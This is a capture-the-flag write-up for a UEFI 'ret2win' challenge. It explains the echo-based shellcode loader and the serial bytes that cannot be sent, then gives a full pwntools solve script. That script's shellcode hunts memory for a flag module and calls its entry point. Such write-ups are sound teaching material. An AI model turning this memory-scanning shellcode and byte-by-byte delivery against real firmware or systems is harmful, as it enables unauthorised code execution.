Pwn Echo


Ret2Win but you hunt where to return in memory. (+UEFI)

Handout

We are given a folder with source files, dockerfile, UEFI PE images and their debug files. This gives us debug symbols and other goodies. Nice.

Bug Feature

It’s a UEFI shellcode loader that happily loads and executes your ‘\r’ terminated shellcode.

Since communication is over serial, it returns the printable repr of input byte over serial.

It also emits “backspace” on encountering “\x08” and “\x7f”.

Only if it were so easy

The qemu serial console is wrapped with socat with sigint,sane,pty. This means if shellcode contains tty escape sequences like C-c (\x03) and C-z (\x1a), they’ll be intepreted by socat instead and cause side effects.

I also found some other bytes that didn’t “echo” back, meaning they were unconditionally dropped.

Approach

Simple ret-2-win, but we hunt in memory the address of win function.

  1. Load flag module once. This triggers uefi policy error, but it’s fine - we just need the moule in memory somewhere before and somwdy close to our VulnApp efi module

  2. Load VulnApp application.

  3. Inject Shellcode that does two things:

    • Copy gBS (Boot service, 2nd arg) and gImageHandle (first argument to UefiMain)
    • Hunt for Flag.efi in memory. Constraints:
      • x/wx $modbase = MZ and
      • x/gx $modbase+0x21e4 = 0x75422f326b64652f (Start of a string)
    • Call _ModuleEntryPoint of Flag.efi
    • Get flag.

Solve script

PY
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import subprocess

context.arch = "amd64"

sc = """
.intel_syntax noprefix
.global _start

_start:
    nop
    nop
    mov r14, rsp
    mov rbx, [r14]
    sub rbx, 0x106b
    mov [r14], rbx
    sub rbx, 0x10000
    mov r11, rbx
    and r11, -16
    mov rcx, 0x75422f326b64652f


scan_loop:
    mov r12, r11
    mov ax, word ptr [r12]
    cmp ax, word ptr 0x5a4d
    jne     next

    lea rax, qword ptr [r11 + 0x21e4]
    sub rax, 0x0100
    mov rax, [rax]
    cmp     rax, rcx
    je      found

next:
    add     r11, 45
    sub     r11, 41
    jmp     scan_loop

found:
    mov r10, [r14]
    mov rcx, [r10+0x1d58]
    mov rdx, [r10+0x1d50]
    add r11, 0x1376
    call r11
    mov eax, 0xdeadbeef
    ud2
"""

sc = asm(sc)
info(disasm(sc))
info(sc.hex(" "))

assert b"\r" not in sc
assert b"\x08" not in sc
assert b"\x7f" not in sc
assert b"\x0d" not in sc
assert b"\x08" not in sc
assert b"\x03" not in sc
assert b"\x1a" not in sc
assert b"\x1c" not in sc


bad = {0x0d, 0x08, 0x7f, 0x03, 0x1a, 0x1c}   # integers, not bytes
assert set(sc).intersection(bad) == set()

# r = remote("3.7.184.13", 41851)
r = remote("localhost", 1338)
# r = process(["./run.sh"], stdin=PTY, stdout=PTY)

# Ensure that Flag image gets loaded before ourvulnapp
r.recvuntil(b"Reboot Into Firmware Interface")
r.send(b"\x1b[B")
r.sendline()

# Now boot vulnapp
r.recvuntil(b"Reboot Into Firmware Interface")
r.sendline()

r.recvuntil(b"ECHO - 9 ===")
r.recvuntil(b"> ")

# fuck tty and its gazillion signals
r.recvrepeat(2.0)

r.sock.sendall(b"1")

time.sleep(2)




r.recvrepeat(5)
r.recv(timeout=1.0)
pause()

# sync writes.
# no matter what remote drops / change bytes.
# example: Ascii bytes get returned as ".", signalling mutation
# does not happen in local afaik.

for i, byt in enumerate(sc):
    excess = r.recvrepeat(3.0)
    info("excess: %s", excess.hex(" "))
    r.send(p8(byt))
    got = r.recvn(1, timeout=3.0)


r.send(b"\r")
r.send(b"\r")

r.interactive()

Conclusion

For challenges like this, it’d be much better, if the payload is first receieved by some external http server, and then loaded into the app locally instead of over the wire.